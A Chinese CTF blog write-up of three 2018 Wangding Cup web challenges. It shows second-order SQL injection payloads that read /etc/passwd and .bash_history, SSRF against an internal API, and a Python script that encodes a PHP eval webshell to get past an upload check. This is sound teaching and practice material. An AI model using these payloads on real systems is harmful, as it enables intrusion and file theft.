2018网鼎杯第四场Web题解

Web

comment

题目界面如下,有发帖留言的功能,不过需要登录才能使用。

1

可以通过爆破得知账号密码为:zhangwei/zhangwei666

2

手工测试发现存在 .git 泄露,用 GitHack 下载泄露文件,发现 write_do.php 的代码不全。通过 git cat-file -p xxxxx 命令显示版本库对象的内容、类型及大小信息,可以看到完整的代码:

3

具体代码如下:

4

可以看到上面 第13-14 行都对 POST 传来 categorytitlecontent 三个参数进行了特殊字符转义,然而在 第28行第30-33行 处直接将从数据库中取出的数据,未经任何过滤拼接到 SQL语句 中,这就存在 二次注入

有很多人一直纠结 addslashes 这个转义函数,其实大家在数据库中测试一下就知道了,假设我们的 payload 为:‘,content=user(),/* ,那么经过 addslashes 函数转义后,变成了 \‘,content=user(),/* ,我们看一下插入数据库中变成啥样:

5

所以根本就不影响我们进行二次注入。下面说说二次注入的攻击过程:

  • 先进入 write 方法,将 payload',content=user(),/* 插入 board 表的 category 字段中
  • 再进入 comment 方法,程序将 board 表中的 category 字段取出,没进行过滤,拼接到新的 insert 语句中。由于我们之前的 payload 中带有 /* ,所以我们需要闭合它,即我们在评论处提交 */# (对应 content 变量的值)
  • 然后程序执行 第二个SQL 语句,并将用户提交的 content 值显示出来,而我们的 payload',content=user(),/* 就会显示出当前用户。

6

7

看到是 root 用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有),应该是要用 SQL语句 读取flag文件了。

首先读取 /etc/passwd 看看服务器上有哪些用户,payload为: ‘,content=(select load_file(‘/etc/passwd’)),/*

8

发现存在 www 用户,继续查看 .bash_history 记录,payload为: ‘,content=(select load_file(‘/home/www/.bash_history’)),/*

9

发现 www 用户的一些操作。看见有 .DS_Store 文件,考虑到目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为: ‘,content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*

10

解码获得flag路径:

11

使用payload: ‘,content=(select load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php’)),/* 读取flag:

12

blog

没啥意思的一道题目。题目是一个wordpress的站点,如下:

13

查看图片的url,发现其url形式极其可能存在SSRF漏洞:

14

通过 git 收集信息,可以发现一个内网用户查询接口。

15

16

api.php 的内容为:

1
2
3
<?php
//http://10.220.56.29/WD_UserListAPI.php?uid=
?>

所以我们遍历uid的值即可获取用户信息。当uid值为233的时候,即可获得flag:

17

NoWafUpload

这题可以任意上传文件,题目如下:

18

当我们上传PHP一句话的时候,显示上传成功并返回路径,但是去访问就404。

19

一开始以为是时间竞争,尝试发现并不是。扫了一下目录,发现存在 www.zip 文件,里面包含一个.so的拓展还有一个经过加密的PHP文件。所以考点应该是我们通过逆向来知道加密算法,然后将我们的一句话经过该加密算法加密后再上传,这样代码通过检测才能被解析。使用 IDA 反汇编 funencrypt.so 文件,发现关键函数,代码如下:

21

我们把经过加密的 sdfasgerwtytc.php 文件拖入16进制分析软件中,并根据上面的反汇编代码进行对比:

22

sdfasgerwtytc.php 文件实际上就是一个 phpinfo 页面(上传上去访问就知道了),而上图中的的三个 fread 代码分别表示前32字节的字符串(这里刚好是一个md5值)、两个长度。一个为16进制 10 ,即整数16,猜测是代码: <?php phpinfo(); 的长度,后面一个为16进制16,即整数22,刚好是后面一段乱七八糟字符串的长度。

我们继续看35行以下的代码。首先先校验了开头读的md5,而这个md5的值就是后面那一串乱七八糟字符串的md5,这个自己计算一下就知道了。然后取那串乱七八糟的字符串逐位与 0xC 进行异或,并将其结果 uncompress 后写入某个文件。

23

根据上面的逻辑,反推回去,写出加密PHP程序的代码。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib,zlib
s = "<?php eval($_POST[_]);"
bf_len = hex(len(s))

compress_s = zlib.compress(s)

new_compress = ''
for ch in compress_s:
new_compress += chr(ord(ch)^0xC)

MD5 = hashlib.md5()
MD5.update(new_compress)

print("MD5 : " + MD5.hexdigest().encode('hex'))
print("bf_len: " + bf_len)
af_len = hex(len(new_compress))
print("af_len: " + af_len)
print("new_compress: " + new_compress.encode('hex'))

将生成的16进制数据按顺序写入文件即可:

24

上传该文件,使用密码 _ 查找flag:

25

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/09/01/2018网鼎杯第四场/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog